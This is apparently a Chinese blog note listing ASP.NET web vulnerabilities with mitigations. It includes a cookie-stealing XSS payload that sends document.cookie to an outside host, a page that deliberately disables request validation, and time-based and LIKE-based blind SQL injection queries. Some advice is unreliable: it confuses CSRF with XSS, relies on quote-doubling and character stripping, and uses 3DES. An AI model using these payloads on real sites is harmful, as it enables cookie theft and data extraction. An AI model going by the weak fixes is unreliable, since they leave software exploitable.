一、Padding Oracle Vulnerability,填充甲骨文漏洞。原文:ScottGu的说明
解决方法:1。添加报错页面。防止给黑客提示信息。
<configuration>
<system.web><customErrorsmode="On"redirectMode="ResponseRewrite"defaultRedirect="~/error.aspx"/></system.web>
</configuration>
2. Error页面睡眠一会,给黑客照成困难
<%@ Page Language="C#"AutoEventWireup="true"%>
<%@ Import Namespace="System.Security.Cryptography"%>
<%@ Import Namespace="System.Threading"%>
<script runat="server">
voidPage_Load() {
byte[] delay = newbyte[1];
RandomNumberGenerator prng = newRNGCryptoServiceProvider(); prng.GetBytes(delay);
Thread.Sleep((int)delay[0]);
IDisposable disposable = prng asIDisposable;
if(disposable != null) { disposable.Dispose(); } }
</script>
<html>
<head runat="server">
<title>Error</title>
</head>
<body>
<div> An error occurred whileprocessing your request. </div>
</body>
</html>
二 、 sql 注入。方式有:
1、传参url方式,直接得到querystring,然后查询数据库。
2、文本框输入,如登陆。解决方 法:1..Replace("'", "''");单引号变成双引号2.用存储过程。
3、如果不用存储过程,应该把每个传递用单引号包含进去。如 '"+querystring+"'".
原文:sql注入
三、参数污染
这个下面的xss攻击解决方法差不多,1.对参数进行验证。2.加引号
一下是在数据库验证前的过滤
四、 csrf跨站点请求伪造,1.可以理解为cookie劫持。
<a href="fundzf.aspx?symbol=<%=strSymbol%>">基金分红与拆分</a>
?symbol=" οnmοuseοver=window.open("http://www.baidu.com?cookie="%2Bdocument.cookie) bad="
这样就可以 当把这个页面被点击的时候,客户的cookie就会被劫持
解决方案:对传过来的参数进行检查
2.<%@ Page Language="C#" ValidateRequest="false" AutoEventWireup="true" CodeBehind="WebForm2.aspx.cs"
Inherits="WebApplication6.WebForm2" %>
<html>
<script runat="server">
void btnSubmit_Click(Object sender, EventArgs e)
{
// If ValidateRequest is false, then 'hello' is displayed
// If ValidateRequest is true, then ASP.NET returns an exception
Response.Write(txtString.Text);
}
</script>
<body>
<form id="form1" runat="server">
<asp:TextBox ID="txtString" runat="server" Text="<script>alert('hello');</script>" />
<asp:Button ID="btnSubmit" runat="server" OnClick="btnSubmit_Click" Text="Submit" />
</form>
</body>
</html>
解决方案:1.升级.netframework,上面的代码在.netframework2.0中,可以执行,但是在4.0中就会报错。2.对用户输入的内容进行元字符过滤
s脚本中过滤特殊字符的正则表达式代码:
function stripscript(s)
{
var pattern = new RegExp("[`~!@#$^&*()=|{}':;',\\[\\].<>/?~!@#¥……&*()——|{}【】‘;:”“'。,、?]")
var rs = "";
for (var i = 0; i < s.length; i++) {
rs = rs+s.substr(i, 1).replace(pattern, '');
}
return rs;
}
校验所有输入域是否含有特殊符号
/**
* 校验所有输入域是否含有特殊符号
* 所要过滤的符号写入正则表达式中,注意,一些符号要用'\'转义.
* 试例:
* if(checkAllTextValid(document.forms[0]))
* alert("表单中所有文本框通过校验!");
*/
function checkAllTextValid(form)
{
//记录不含引号的文本框数量
var resultTag = 0;
//记录所有text文本框数量
var flag = 0;
for(var i = 0; i < form.elements.length; i ++)
{
if(form.elements[i].type=="text")
{
flag = flag + 1;
//此处填写所要过滤的特殊符号
//注意:修改####处的字符,其它部分不许修改.
//if(/^[^####]*$/.test(form.elements[i].value))
if(/^[^\|"'<>]*$/.test(form.elements[i].value))
resultTag = resultTag+1;
else
form.elements[i].select();
}
}
/**
* 如果含引号的文本框等于全部文本框的值,则校验通过
*/
if(resultTag == flag)
return true;
else
{
alert("文本框中不能含有\n\n 1 单引号: ' \n 2 双引号: \" \n 3 竖 杠: | \n 4 尖角号: < > \n\n请检查输入!");
return false;
}
}
五。Unencrypted __VIEWSTATE parameter,viewstate 保存没有加密,解决方法
在web.config.中,system.web中加 <machineKey validation="3DES"/>
六。Cookie攻击的两种手段:
1,Cookie欺骗
通过盗取、修改、伪造Cookie的内容来得到相应权限或者进行相应权限的操作。
2,Cookie注入
利用Cookie进行数据库SQL注入,很多人注意过滤通过Get和Post方式获取的参数,但是却疏于过滤从Cookie获取的参数,这点是要引起注意的。
使用Cookie保存的数据
一 般不要用Cookie保存用户的个人信息,比如密码、邮箱等,但是如果想在用户链接到网站的时候,验证用户是否是上次登录的那个用户,可以用户每次登录成 功后,将一个随机密码发送到浏览器端保存(当然在服务器端数据库也要保存该字段,假如字段名为CookiePassword,注意与用户登录密码不同), 当用户再次登录时,首先验证用户发来的密码与CookiePassword字段(不是用户密码)中保存的是否一致,相同即可认为是上次正常登录的用户。
七。盲sql注入,Blind SQL Injection 解决方法和sql注入一样。
区别是,sql注入有错误的提示信息,盲sql只有对错,没有提示信息。
实例:1.通过实践判断 我们的盲sql对了没有,select * from sysusers where (SELECT count(*) FROM sysusers AS sys1
, sysusers assys2, sysusers as sys3
, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
,sysusers AS sys7)>1
例如这个,时间会很长,记住时间。
select * from sysusers where (SELECT count(*) FROM sysusers AS sys1
, sysusers assys2, sysusers as sys3
, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
,sysusers AS sys7)>1
and 0>(select top 1ascii(substring(name,1,1)) from sysusers)
时间很短,说明盲sql没有得到想要的数据。
select * from sysusers where (SELECT count(*) FROM sysusers AS sys1
, sysusers assys2, sysusers as sys3
, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
,sysusers AS sys7)>1
and 300>(select top 1ascii(substring(name,1,1)) from sysusers)
时间长点,说明 我们得到了东西。
2.通过正则表达式达到目的,我们要用到like.
select * from sysusers where 页面的参数 and 1=(SELECT TOP 1 1 FROM sysusers WHERE name LIKE '[a-z]%')
有返回值,说明我们正确